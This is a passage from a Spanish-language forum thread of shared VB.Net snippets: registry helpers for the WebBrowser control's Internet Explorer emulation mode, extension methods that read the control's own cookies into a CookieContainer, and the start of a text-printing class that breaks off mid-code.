Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 25 Febrero 2018, 20:51 pm
Un código simple y sencillo para obtener o establecer el modo de emulación de Internet Explorer en nuestra aplicación o para otra aplicación.

EDITO: código corregido, y refactorizado.

Código
  1.    ''' ----------------------------------------------------------------------------------------------------
  2.    ''' <summary>
  3.    ''' Specifies a Internet Explorer browser emulation mode.
  4.    ''' </summary>
  5.    ''' ----------------------------------------------------------------------------------------------------
  6.    ''' <remarks>
  7.    ''' <see href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85)"/>
  8.    ''' </remarks>
  9.    ''' ----------------------------------------------------------------------------------------------------
  10.    Public Enum IEBrowserEmulationMode As Integer
  11.  
  12.        ''' <summary>
  13.        ''' Webpages containing standards-based !DOCTYPE directives are displayed in IE7 Standards mode.
  14.        ''' </summary>
  15.        IE7 = 7000
  16.  
  17.        ''' <summary>
  18.        ''' Webpages containing standards-based !DOCTYPE directives are displayed in IE8 mode.
  19.        ''' </summary>
  20.        IE8 = 8000
  21.  
  22.        ''' <summary>
  23.        ''' Webpages are displayed in IE8 Standards mode, regardless of the declared !DOCTYPE directive.
  24.        ''' <para></para>
  25.        ''' Failing to declare a !DOCTYPE directive causes the page to load in Quirks.
  26.        ''' </summary>
  27.        IE8Standards = 8888
  28.  
  29.        ''' <summary>
  30.        ''' Webpages containing standards-based !DOCTYPE directives are displayed in IE9 mode.
  31.        ''' </summary>
  32.        IE9 = 9000
  33.  
  34.        ''' <summary>
  35.        ''' Webpages are displayed in IE9 Standards mode, regardless of the declared !DOCTYPE directive.
  36.        ''' <para></para>
  37.        ''' Failing to declare a !DOCTYPE directive causes the page to load in Quirks.
  38.        ''' </summary>
  39.        IE9Standards = 9999
  40.  
  41.        ''' <summary>
  42.        ''' Webpages containing standards-based !DOCTYPE directives are displayed in IE10 Standards mode.
  43.        ''' </summary>
  44.        IE10 = 10000
  45.  
  46.        ''' <summary>
  47.        ''' Webpages are displayed in IE10 Standards mode, regardless of the !DOCTYPE directive.
  48.        ''' </summary>
  49.        IE10Standards = 10001
  50.  
  51.        ''' <summary>
  52.        ''' Webpages containing standards-based !DOCTYPE directives are displayed in IE11 edge mode.
  53.        ''' </summary>
  54.        IE11 = 11000
  55.  
  56.        ''' <summary>
  57.        ''' Webpages are displayed in IE11 edge mode, regardless of the declared !DOCTYPE directive.
  58.        ''' <para></para>
  59.        ''' Failing to declare a !DOCTYPE directive causes the page to load in Quirks.
  60.        ''' </summary>
  61.        IE11Edge = 11001
  62.  
  63.    End Enum

+

Código
  1.    ''' ----------------------------------------------------------------------------------------------------
  2.    ''' <summary>
  3.    ''' Specifies a registry scope (a root key).
  4.    ''' </summary>
  5.    ''' ----------------------------------------------------------------------------------------------------
  6.    Public Enum RegistryScope As Integer
  7.  
  8.        ''' <summary>
  9.        ''' This refers to the HKEY_LOCAL_MACHINE (or HKLM) registry root key.
  10.        ''' <para></para>
  11.        ''' Configuration changes made on the subkeys of this root key will affect all users.
  12.        ''' </summary>
  13.        Machine = 0
  14.  
  15.        ''' <summary>
  16.        ''' This refers to the HKEY_CURRENT_USER (or HKCU) registry root key.
  17.        ''' <para></para>
  18.        ''' Configuration changes made on the subkeys of this root key will affect only the current user.
  19.        ''' </summary>
  20.        CurrentUser = 1
  21.  
  22.    End Enum

+

Código
  1.        ''' ----------------------------------------------------------------------------------------------------
  2.        ''' <summary>
  3.        ''' Gets or sets the Internet Explorer browser emulation mode for the current application.
  4.        ''' </summary>
  5.        ''' ----------------------------------------------------------------------------------------------------
  6.        ''' <seealso href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85)"/>
  7.        ''' ----------------------------------------------------------------------------------------------------
  8.        ''' <example> This is a code example to get, set and verify the IE browser emulation mode for the current process.
  9.        ''' <code>
  10.        ''' Dim scope As RegistryScope = RegistryScope.CurrentUser
  11.        ''' Dim oldMode As IEBrowserEmulationMode
  12.        ''' Dim newMode As IEBrowserEmulationMode
  13.        '''
  14.        ''' oldMode = BrowserEmulationMode(scope)
  15.        ''' BrowserEmulationMode(scope) = IEBrowserEmulationMode.IE11Edge
  16.        ''' newMode = BrowserEmulationMode(scope)
  17.        '''
  18.        ''' Console.WriteLine(String.Format("Old Mode: {0} ({1})", oldMode, CStr(oldMode)))
  19.        ''' Console.WriteLine(String.Format("New Mode: {0} ({1})", newMode, CStr(newMode)))
  20.        '''
  21.        ''' Dim f As New Form() With {.Size = New Size(1280, 720)}
  22.        ''' Dim wb As New WebBrowser With {.Dock = DockStyle.Fill}
  23.        ''' f.Controls.Add(wb)
  24.        ''' f.Show()
  25.        ''' wb.Navigate("http://www.whatversion.net/browser/")
  26.        ''' </code>
  27.        ''' </example>
  28.        ''' ----------------------------------------------------------------------------------------------------
  29.        ''' <param name="scope">
  30.        ''' The registry scope.
  31.        ''' </param>
  32.        ''' ----------------------------------------------------------------------------------------------------
  33.        ''' <value>
  34.        ''' The Internet Explorer browser emulation mode.
  35.        ''' </value>
  36.        ''' ----------------------------------------------------------------------------------------------------
  37.        Public Shared Property BrowserEmulationMode(ByVal scope As RegistryScope) As IEBrowserEmulationMode
  38.            <DebuggerStepThrough>
  39.            Get
  40.                Return AppUtil.GetIEBrowserEmulationMode(Process.GetCurrentProcess().ProcessName, scope)
  41.            End Get
  42.            <DebuggerStepThrough>
  43.            Set(value As IEBrowserEmulationMode)
  44.                AppUtil.SetIEBrowserEmulationMode(Process.GetCurrentProcess().ProcessName, scope, value)
  45.            End Set
  46.        End Property
  47.  

+

Código
  1.        ''' ----------------------------------------------------------------------------------------------------
  2.        ''' <summary>
  3.        ''' Gets the Internet Explorer browser emulation mode for the specified process.
  4.        ''' </summary>
  5.        ''' ----------------------------------------------------------------------------------------------------
  6.        ''' <seealso href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85)"/>
  7.        ''' ----------------------------------------------------------------------------------------------------
  8.        ''' <example> This is a code example.
  9.        ''' <code>
  10.        ''' Dim processName As String = Process.GetCurrentProcess().ProcessName
  11.        ''' Dim scope As RegistryScope = RegistryScope.CurrentUser
  12.        ''' Dim mode As IEBrowserEmulationMode = GetIEBrowserEmulationMode(processName, scope)
  13.        '''
  14.        ''' Console.WriteLine(String.Format("Mode: {0} ({1})", mode, CStr(mode)))
  15.        ''' </code>
  16.        ''' </example>
  17.        ''' ----------------------------------------------------------------------------------------------------
  18.        ''' <param name="processName">
  19.        ''' The process name (eg. 'cmd.exe').
  20.        ''' </param>
  21.        '''
  22.        ''' <param name="scope">
  23.        ''' The registry scope.
  24.        ''' </param>
  25.        ''' ----------------------------------------------------------------------------------------------------
  26.        ''' <returns>
  27.        ''' The resulting <see cref="IEBrowserEmulationMode"/>.
  28.        ''' </returns>
  29.        ''' ----------------------------------------------------------------------------------------------------
  30.        ''' <exception cref="NotSupportedException">
  31.        ''' </exception>
  32.        ''' ----------------------------------------------------------------------------------------------------
  33.        <DebuggerStepThrough>
  34.        Public Shared Function GetIEBrowserEmulationMode(ByVal processName As String, ByVal scope As RegistryScope) As IEBrowserEmulationMode
  35.  
  36.            processName = Path.GetFileNameWithoutExtension(processName)
  37.  
  38.            Using rootKey As RegistryKey = If(scope = RegistryScope.CurrentUser,
  39.                                              RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Default),
  40.                                              RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Default)),
  41.                  subKey As RegistryKey = rootKey.CreateSubKey("Software\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION",
  42.                                                               RegistryKeyPermissionCheck.ReadSubTree)
  43.  
  44.                Dim value As Integer =
  45.                    CInt(subKey.GetValue(String.Format("{0}.exe", processName), 0, RegistryValueOptions.None))
  46.  
  47.                ' If no browser emulation mode is retrieved from registry, then return default version for WebBrowser control.
  48.                If (value = 0) Then
  49.                    Return IEBrowserEmulationMode.IE7
  50.                End If
  51.  
  52.                If [Enum].IsDefined(GetType(IEBrowserEmulationMode), value) Then
  53.                    Return DirectCast(value, IEBrowserEmulationMode)
  54.  
  55.                Else
  56.                    Throw New NotSupportedException(String.Format("Unrecognized browser emulation version: {0}", value))
  57.  
  58.                End If
  59.  
  60.            End Using
  61.  
  62.        End Function
  63.  
  64.        ''' ----------------------------------------------------------------------------------------------------
  65.        ''' <summary>
  66.        ''' Gets the Internet Explorer browser emulation mode for the specified process.
  67.        ''' </summary>
  68.        ''' ----------------------------------------------------------------------------------------------------
  69.        ''' <seealso href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85)"/>
  70.        ''' ----------------------------------------------------------------------------------------------------
  71.        ''' <example> This is a code example.
  72.        ''' <code>
  73.        ''' Dim p As Process = Process.GetCurrentProcess()
  74.        ''' Dim scope As RegistryScope = RegistryScope.CurrentUser
  75.        ''' Dim mode As IEBrowserEmulationMode = GetIEBrowserEmulationMode(p, scope)
  76.        '''
  77.        ''' Console.WriteLine(String.Format("Mode: {0} ({1})", mode, CStr(mode)))
  78.        ''' </code>
  79.        ''' </example>
  80.        ''' ----------------------------------------------------------------------------------------------------
  81.        ''' <param name="p">
  82.        ''' The process.
  83.        ''' </param>
  84.        '''
  85.        ''' <param name="scope">
  86.        ''' The registry scope.
  87.        ''' </param>
  88.        ''' ----------------------------------------------------------------------------------------------------
  89.        ''' <returns>
  90.        ''' The resulting <see cref="IEBrowserEmulationMode"/>.
  91.        ''' </returns>
  92.        ''' ----------------------------------------------------------------------------------------------------
  93.        ''' <exception cref="NotSupportedException">
  94.        ''' </exception>
  95.        ''' ----------------------------------------------------------------------------------------------------
  96.        <DebuggerStepThrough>
  97.        Public Shared Function GetIEBrowserEmulationMode(ByVal p As Process, ByVal scope As RegistryScope) As IEBrowserEmulationMode
  98.  
  99.            Return AppUtil.GetIEBrowserEmulationMode(p.ProcessName, scope)
  100.  
  101.        End Function
  102.  
  103.        ''' ----------------------------------------------------------------------------------------------------
  104.        ''' <summary>
  105.        ''' Sets the Internet Explorer browser emulation mode for the specified process.
  106.        ''' </summary>
  107.        ''' ----------------------------------------------------------------------------------------------------
  108.        ''' <seealso href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85)"/>
  109.        ''' ----------------------------------------------------------------------------------------------------
  110.        ''' <example> This is a code example.
  111.        ''' <code>
  112.        ''' Dim processName As String = Process.GetCurrentProcess().ProcessName
  113.        ''' Dim scope As RegistryScope = RegistryScope.CurrentUser
  114.        ''' Dim oldMode As IEBrowserEmulationMode
  115.        ''' Dim newMode As IEBrowserEmulationMode
  116.        '''
  117.        ''' oldMode = GetIEBrowserEmulationMode(processName, scope)
  118.        ''' SetIEBrowserEmulationMode(processName, scope, IEBrowserEmulationMode.IE11Edge)
  119.        ''' newMode = GetIEBrowserEmulationMode(processName, scope)
  120.        '''
  121.        ''' Console.WriteLine(String.Format("Old Mode: {0} ({1})", oldMode, CStr(oldMode)))
  122.        ''' Console.WriteLine(String.Format("New Mode: {0} ({1})", newMode, CStr(newMode)))
  123.        '''
  124.        ''' Dim f As New Form() With {.Size = New Size(1280, 720)}
  125.        ''' Dim wb As New WebBrowser With {.Dock = DockStyle.Fill}
  126.        ''' f.Controls.Add(wb)
  127.        ''' f.Show()
  128.        ''' wb.Navigate("http://www.whatversion.net/browser/")
  129.        ''' </code>
  130.        ''' </example>
  131.        ''' ----------------------------------------------------------------------------------------------------
  132.        ''' <param name="processName">
  133.        ''' The process name (eg. 'cmd.exe').
  134.        ''' </param>
  135.        '''
  136.        ''' <param name="scope">
  137.        ''' The registry scope.
  138.        ''' </param>
  139.        '''
  140.        ''' <param name="mode">
  141.        ''' The Internet Explorer browser emulation mode to set.
  142.        ''' </param>
  143.        ''' ----------------------------------------------------------------------------------------------------
  144.        ''' <exception cref="NotSupportedException">
  145.        ''' </exception>
  146.        ''' ----------------------------------------------------------------------------------------------------
  147.        <DebuggerStepThrough>
  148.        Public Shared Sub SetIEBrowserEmulationMode(ByVal processName As String, ByVal scope As RegistryScope, ByVal mode As IEBrowserEmulationMode)
  149.  
  150.            processName = Path.GetFileNameWithoutExtension(processName)
  151.  
  152.            Dim currentIEBrowserEmulationMode As IEBrowserEmulationMode = GetIEBrowserEmulationMode(processName, scope)
  153.            If (currentIEBrowserEmulationMode = mode) Then
  154.                Exit Sub
  155.            End If
  156.  
  157.            Using rootKey As RegistryKey = If(scope = RegistryScope.CurrentUser,
  158.                                              RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Default),
  159.                                              RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Default)),
  160.                  regKey As RegistryKey = rootKey.CreateSubKey(
  161.                            "Software\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION",
  162.                            RegistryKeyPermissionCheck.ReadWriteSubTree)
  163.  
  164.                regKey.SetValue(String.Format("{0}.exe", processName),
  165.                                DirectCast(mode, Integer), RegistryValueKind.DWord)
  166.  
  167.            End Using
  168.  
  169.        End Sub
  170.  
  171.        ''' ----------------------------------------------------------------------------------------------------
  172.        ''' <summary>
  173.        ''' Sets the Internet Explorer browser emulation mode for the specified process.
  174.        ''' </summary>
  175.        ''' ----------------------------------------------------------------------------------------------------
  176.        ''' <seealso href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85)"/>
  177.        ''' ----------------------------------------------------------------------------------------------------
  178.        ''' <example> This is a code example.
  179.        ''' <code>
  180.        ''' Dim processName As Process = Process.GetCurrentProcess()
  181.        ''' Dim scope As RegistryScope = RegistryScope.CurrentUser
  182.        ''' Dim oldMode As IEBrowserEmulationMode
  183.        ''' Dim newMode As IEBrowserEmulationMode
  184.        '''
  185.        ''' oldMode = GetIEBrowserEmulationMode(p, scope)
  186.        ''' SetIEBrowserEmulationMode(p, scope, IEBrowserEmulationMode.IE11Edge)
  187.        ''' newMode = GetIEBrowserEmulationMode(p, scope)
  188.        '''
  189.        ''' Console.WriteLine(String.Format("Old Mode: {0} ({1})", oldMode, CStr(oldMode)))
  190.        ''' Console.WriteLine(String.Format("New Mode: {0} ({1})", newMode, CStr(newMode)))
  191.        '''
  192.        ''' Dim f As New Form() With {.Size = New Size(1280, 720)}
  193.        ''' Dim wb As New WebBrowser With {.Dock = DockStyle.Fill}
  194.        ''' f.Controls.Add(wb)
  195.        ''' f.Show()
  196.        ''' wb.Navigate("http://www.whatversion.net/browser/")
  197.        ''' </code>
  198.        ''' </example>
  199.        ''' ----------------------------------------------------------------------------------------------------
  200.        ''' <param name="p">
  201.        ''' The process.
  202.        ''' </param>
  203.        '''
  204.        ''' <param name="scope">
  205.        ''' The registry scope.
  206.        ''' </param>
  207.        '''
  208.        ''' <param name="mode">
  209.        ''' The Internet Explorer browser emulation mode to set.
  210.        ''' </param>
  211.        ''' ----------------------------------------------------------------------------------------------------
  212.        ''' <exception cref="NotSupportedException">
  213.        ''' </exception>
  214.        ''' ----------------------------------------------------------------------------------------------------
  215.        <DebuggerStepThrough>
  216.        Public Shared Sub SetIEBrowserEmulationMode(ByVal p As Process, ByVal scope As RegistryScope, ByVal mode As IEBrowserEmulationMode)
  217.  
  218.            AppUtil.SetIEBrowserEmulationMode(p.ProcessName, scope, mode)
  219.  
  220.        End Sub
  221.  

Ejemplo de uso para obtener, establecer y verificar el modo de emulación del proceso actual:

Código
  1.    Dim scope As RegistryScope = RegistryScope.CurrentUser
  2.    Dim oldMode As IEBrowserEmulationMode
  3.    Dim newMode As IEBrowserEmulationMode
  4.  
  5.    oldMode = BrowserEmulationMode(scope)
  6.    BrowserEmulationMode(scope) = IEBrowserEmulationMode.IE11Edge
  7.    newMode = BrowserEmulationMode(scope)
  8.  
  9.    Console.WriteLine(String.Format("Old Mode: {0} ({1})", oldMode, CStr(oldMode)))
  10.    Console.WriteLine(String.Format("New Mode: {0} ({1})", newMode, CStr(newMode)))
  11.  
  12.    Dim f As New Form() With {.Size = New Size(1280, 720)}
  13.    Dim wb As New WebBrowser With {.Dock = DockStyle.Fill}
  14.    f.Controls.Add(wb)
  15.    f.Show()
  16.    wb.Navigate("http://www.whatversion.net/browser/")

Ejemplo de uso para obtener, establecer y verificar el modo de emulación de un proceso específico:

Código
  1.    Dim processName As String = Process.GetCurrentProcess().ProcessName
  2.    Dim scope As RegistryScope = RegistryScope.CurrentUser
  3.    Dim oldMode As IEBrowserEmulationMode
  4.    Dim newMode As IEBrowserEmulationMode
  5.  
  6.    oldMode = GetIEBrowserEmulationMode(processName, scope)
  7.    SetIEBrowserEmulationMode(processName, scope, IEBrowserEmulationMode.IE11Edge)
  8.    newMode = GetIEBrowserEmulationMode(processName, scope)
  9.  
  10.    Console.WriteLine(String.Format("Old Mode: {0} ({1})", oldMode, CStr(oldMode)))
  11.    Console.WriteLine(String.Format("New Mode: {0} ({1})", newMode, CStr(newMode)))
  12.  
  13.    Dim f As New Form() With {.Size = New Size(1280, 720)}
  14.    Dim wb As New WebBrowser With {.Dock = DockStyle.Fill}
  15.    f.Controls.Add(wb)
  16.    f.Show()
  17.    wb.Navigate("http://www.whatversion.net/browser/")

Saludos.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 26 Febrero 2018, 17:15 pm
¿Cómo obtener las cookies del sitio web activo en una instancia del control WebBrowser?

Esta idea se me ocurrió por la necesidad de loguearme de forma interactiva (me refiero, manualmente mediante un WebBrowser) a un sitio web que tiene captcha y una pregunta aleatoria de seguridad... por lo cual iba a ser costoso o inviable automatizar la obtención de la cookie de la sesión mediante solicitudes POST en background.

Este código no tiene nada de especial, simplemente es una alternativa de uso para en lugar de utilizar la propiedad WebBrowser.Document.Cookie, la cual devuelve un String, con este código podemos obtener directamente una instancia de la clase CookieContainer o CookieCollection.

Este es el código:

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Contains custom extension methods to use with <see cref="WebBrowser"/> control.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. <HideModuleName>
  7. Public Module WebBrowserExtensions
  8.  
  9. #Region " Public Extension Methods "
  10.  
  11.    ''' ----------------------------------------------------------------------------------------------------
  12.    ''' <summary>
  13.    ''' Gets a <see cref="CookieContainer"/> containing the stored cookies for the active website
  14.    ''' in the source <see cref="WebBrowser"/>.
  15.    ''' (that is, the active opened document in the <see cref="WebBrowser.Document"/> property).
  16.    ''' </summary>
  17.    ''' ----------------------------------------------------------------------------------------------------
  18.    ''' <example> This is a code example.
  19.    ''' <code>
  20.    ''' Public Class Form1
  21.    '''
  22.    '''     Private uri As New Uri("https://foro.elhacker.net/")
  23.    '''
  24.    '''     Private Sub Form1_Shown(sender As Object, e As System.EventArgs) Handles MyBase.Shown
  25.    '''         Me.WebBrowser1.ScriptErrorsSuppressed = True
  26.    '''         Me.WebBrowser1.Navigate(uri)
  27.    '''     End Sub
  28.    '''
  29.    '''     Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
  30.    '''
  31.    '''         Dim wb As WebBrowser = DirectCast(sender, WebBrowser)
  32.    '''         If Not (wb.ReadyState = WebBrowserReadyState.Complete) OrElse Not (e.Url = Me.uri) Then
  33.    '''             Exit Sub
  34.    '''         End If
  35.    '''
  36.    '''         Dim cookies As CookieContainer = GetCookieContainer(wb)
  37.    '''         For Each cookie As Cookie In cookies.GetCookies(Me.uri)
  38.    '''             Console.WriteLine(cookie.ToString())
  39.    '''         Next cookie
  40.    '''
  41.    '''     End Sub
  42.    '''
  43.    ''' End Class
  44.    ''' </code>
  45.    ''' </example>
  46.    ''' ----------------------------------------------------------------------------------------------------
  47.    ''' <param name="wb">
  48.    ''' The source <see cref="WebBrowser"/>.
  49.    ''' </param>
  50.    ''' ----------------------------------------------------------------------------------------------------
  51.    ''' <returns>
  52.    ''' The resulting <see cref="CookieContainer"/>.
  53.    ''' </returns>
  54.    ''' ----------------------------------------------------------------------------------------------------
  55.    <DebuggerStepThrough>
  56.    <Extension>
  57.    <EditorBrowsable(EditorBrowsableState.Always)>
  58.    Public Function GetCookieContainer(ByVal wb As WebBrowser) As CookieContainer
  59.        Dim uri As Uri = wb.Url
  60.        Dim cookieContainer As New CookieContainer()
  61.        Dim cookies As String() = wb.Document.Cookie.Split({";"c}, StringSplitOptions.None)
  62.  
  63.        For Each cookie As String In cookies
  64.            Dim name As String = cookie.Substring(0, cookie.IndexOf("="c)).TrimStart(" "c)
  65.            Dim value As String = cookie.Substring(cookie.IndexOf("="c) + 1)
  66.            cookieContainer.Add(uri, New Cookie(name, value, "/", uri.Host))
  67.        Next cookie
  68.  
  69.        Return cookieContainer
  70.    End Function
  71.  
  72.    ''' ----------------------------------------------------------------------------------------------------
  73.    ''' <summary>
  74.    ''' Gets a <see cref="CookieCollection"/> containing the stored cookies for the active website
  75.    ''' in the source <see cref="WebBrowser"/>.
  76.    ''' (that is, the active opened document in the <see cref="WebBrowser.Document"/> property).
  77.    ''' </summary>
  78.    ''' ----------------------------------------------------------------------------------------------------
  79.    ''' <example> This is a code example.
  80.    ''' <code>
  81.    ''' Public Class Form1
  82.    '''
  83.    '''     Private uri As New Uri("https://foro.elhacker.net/")
  84.    '''
  85.    '''     Private Sub Form1_Shown(sender As Object, e As System.EventArgs) Handles MyBase.Shown
  86.    '''         Me.WebBrowser1.ScriptErrorsSuppressed = True
  87.    '''         Me.WebBrowser1.Navigate(uri)
  88.    '''     End Sub
  89.    '''
  90.    '''     Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
  91.    '''
  92.    '''         Dim wb As WebBrowser = DirectCast(sender, WebBrowser)
  93.    '''
  94.    '''         If Not (wb.ReadyState = WebBrowserReadyState.Complete) OrElse Not (e.Url = Me.uri) Then
  95.    '''             Exit Sub
  96.    '''         End If
  97.    '''
  98.    '''         Dim cookies As CookieCollection = GetCookieCollection(wb)
  99.    '''         For Each cookie As Cookie In cookies
  100.    '''             Console.WriteLine(cookie.ToString())
  101.    '''         Next cookie
  102.    '''
  103.    '''     End Sub
  104.    '''
  105.    ''' End Class
  106.    ''' </code>
  107.    ''' </example>
  108.    ''' ----------------------------------------------------------------------------------------------------
  109.    ''' <param name="wb">
  110.    ''' The source <see cref="WebBrowser"/>.
  111.    ''' </param>
  112.    ''' ----------------------------------------------------------------------------------------------------
  113.    ''' <returns>
  114.    ''' The resulting <see cref="CookieCollection"/>.
  115.    ''' </returns>
  116.    ''' ----------------------------------------------------------------------------------------------------
  117.    <DebuggerStepThrough>
  118.    <Extension>
  119.    <EditorBrowsable(EditorBrowsableState.Always)>
  120.    Public Function GetCookieCollection(ByVal wb As WebBrowser) As CookieCollection
  121.  
  122.        Dim uri As Uri = wb.Url
  123.        Return Cookies.GetCookieContainer(wb).GetCookies(uri)
  124.  
  125.    End Function
  126.  
  127. #End Region
  128.  
  129. End Module

Ejemplo de uso:

Código
  1. Imports WebBrowserExtensions
  2.  
  3. Public Class Form1
  4.  
  5.    Private uri As New Uri("https://www.domain.com/")
  6.  
  7.    Private Sub Form1_Shown(sender As Object, e As System.EventArgs) Handles MyBase.Shown
  8.        Me.WebBrowser1.ScriptErrorsSuppressed = True
  9.        Me.WebBrowser1.Navigate(uri)
  10.    End Sub
  11.  
  12.    Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
  13.  
  14.        Dim wb As WebBrowser = DirectCast(sender, WebBrowser)
  15.        If Not (wb.ReadyState = WebBrowserReadyState.Complete) OrElse Not (e.Url = Me.uri) Then
  16.            Exit Sub
  17.        End If
  18.  
  19.        Dim cookies As CookieContainer = wb.GetCookieContainer()
  20.        For Each cookie As Cookie In cookies.GetCookies(Me.uri)
  21.            Console.WriteLine(cookie.ToString())
  22.        Next cookie
  23.  
  24.    End Sub
  25.  
  26. End Class


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 28 Marzo 2018, 16:31 pm
¿Cómo imprimir documentos de texto de forma sencilla?.

He hecho dos versiones, una básica, y la otra avanzada.

PrintDocumentBasic
Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Prints a text document.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <seealso cref="IDisposable" />
  7. ''' ----------------------------------------------------------------------------------------------------
  8. Public Class PrintDocumentBasic : Implements IDisposable
  9.  
  10. #Region " Private Fields "
  11.  
  12.    ''' ----------------------------------------------------------------------------------------------------
  13.    ''' <summary>
  14.    ''' A <see cref="StreamReader"/> instance that encapsulates the document data to be read and printed.
  15.    ''' </summary>
  16.    ''' ----------------------------------------------------------------------------------------------------
  17.    Protected documentStream As StreamReader
  18.  
  19.    ''' ----------------------------------------------------------------------------------------------------
  20.    ''' <summary>
  21.    ''' The <see cref="System.Drawing.Printing.PrintDocument"/> component to print the document.
  22.    ''' </summary>
  23.    ''' ----------------------------------------------------------------------------------------------------
  24.    Protected WithEvents PrintDocument As PrintDocument
  25.  
  26.    ''' ----------------------------------------------------------------------------------------------------
  27.    ''' <summary>
  28.    ''' The <see cref="System.Drawing.Printing.PrinterSettings"/> instance that specifies
  29.    ''' information about how a document is printed, including the printer that prints it.
  30.    ''' </summary>
  31.    ''' ----------------------------------------------------------------------------------------------------
  32.    Protected PrinterSettings As PrinterSettings
  33.  
  34. #End Region
  35.  
  36. #Region " Properties "
  37.  
  38.    ''' ----------------------------------------------------------------------------------------------------
  39.    ''' <summary>
  40.    ''' Gets the document file path.
  41.    ''' </summary>
  42.    ''' ----------------------------------------------------------------------------------------------------
  43.    ''' <value>
  44.    ''' The document file path.
  45.    ''' </value>
  46.    ''' ----------------------------------------------------------------------------------------------------
  47.    Public ReadOnly Property Filepath As String
  48.  
  49.    ''' ----------------------------------------------------------------------------------------------------
  50.    ''' <summary>
  51.    ''' Gets or sets the text encoding.
  52.    ''' <para></para>
  53.    ''' If no encoding is specified, the default system encoding will be used.
  54.    ''' </summary>
  55.    ''' ----------------------------------------------------------------------------------------------------
  56.    ''' <value>
  57.    ''' The text encoding.
  58.    ''' </value>
  59.    ''' ----------------------------------------------------------------------------------------------------
  60.    Public Property Encoding As Encoding
  61.  
  62.    ''' ----------------------------------------------------------------------------------------------------
  63.    ''' <summary>
  64.    ''' Gets or sets the name of the printer device.
  65.    ''' <para></para>
  66.    ''' If no printer name is specified, the default printer device will be used.
  67.    ''' </summary>
  68.    ''' ----------------------------------------------------------------------------------------------------
  69.    ''' <value>
  70.    ''' The name of the printer device.
  71.    ''' </value>
  72.    ''' ----------------------------------------------------------------------------------------------------
  73.    Public Property PrinterName As String
  74.        Get
  75.            Return Me.printerNameB
  76.        End Get
  77.        Set(ByVal value As String)
  78.            If Not String.IsNullOrEmpty(value) Then
  79.                Me.PrinterSettings.PrinterName = Me.PrinterName
  80.            Else
  81.                ' Reset the 'PrinterSettings.PrinterName' property to avoid 'PrinterSettings.IsValid' return False.
  82.                Me.PrinterSettings = New PrinterSettings()
  83.            End If
  84.        End Set
  85.    End Property
  86.    ''' ----------------------------------------------------------------------------------------------------
  87.    ''' <summary>
  88.    ''' ( Backing Field )
  89.    ''' <para></para>
  90.    ''' The name of the printer device.
  91.    ''' </summary>
  92.    ''' ----------------------------------------------------------------------------------------------------
  93.    Private printerNameB As String
  94.  
  95.    ''' ----------------------------------------------------------------------------------------------------
  96.    ''' <summary>
  97.    ''' Gets or sets the text font.
  98.    ''' <para></para>
  99.    ''' Default font is: [Font: Name=Arial, Size=10, Units=3, GdiCharSet=1, GdiVerticalFont=False]
  100.    ''' </summary>
  101.    ''' ----------------------------------------------------------------------------------------------------
  102.    ''' <value>
  103.    ''' The text font.
  104.    ''' </value>
  105.    ''' ----------------------------------------------------------------------------------------------------
  106.    Public Property Font As Font
  107.  
  108.    ''' ----------------------------------------------------------------------------------------------------
  109.    ''' <summary>
  110.    ''' Gets or sets the text color.
  111.    ''' <para></para>
  112.    ''' Default color is: <see cref="System.Drawing.Color.Black"/>
  113.    ''' </summary>
  114.    ''' ----------------------------------------------------------------------------------------------------
  115.    ''' <value>
  116.    ''' The text color.
  117.    ''' </value>
  118.    ''' ----------------------------------------------------------------------------------------------------
  119.    Public Property Color As Color
  120.  
  121. #End Region
  122.  
  123. #Region " Constructors "
  124.  
  125.    ''' ----------------------------------------------------------------------------------------------------
  126.    ''' <summary>
  127.    ''' Prevents a default instance of the <see cref="PrintDocumentBasic"/> class from being created.
  128.    ''' </summary>
  129.    ''' ----------------------------------------------------------------------------------------------------
  130.    <DebuggerNonUserCode>
  131.    Private Sub New()
  132.    End Sub
  133.  
  134.    ''' ----------------------------------------------------------------------------------------------------
  135.    ''' <summary>
  136.    ''' Initializes a new instance of the <see cref="PrintDocumentBasic"/> class.
  137.    ''' </summary>
  138.    ''' ----------------------------------------------------------------------------------------------------
  139.    ''' <param name="filepath">
  140.    ''' The document file path.
  141.    ''' </param>
  142.    ''' ----------------------------------------------------------------------------------------------------
  143.    ''' <exception cref="FileNotFoundException">
  144.    ''' </exception>
  145.    ''' ----------------------------------------------------------------------------------------------------
  146.    <DebuggerStepThrough>
  147.    Public Sub New(ByVal filepath As String)
  148.        Me.New(filepath, encoding:=Nothing)
  149.    End Sub
  150.  
  151.    ''' ----------------------------------------------------------------------------------------------------
  152.    ''' <summary>
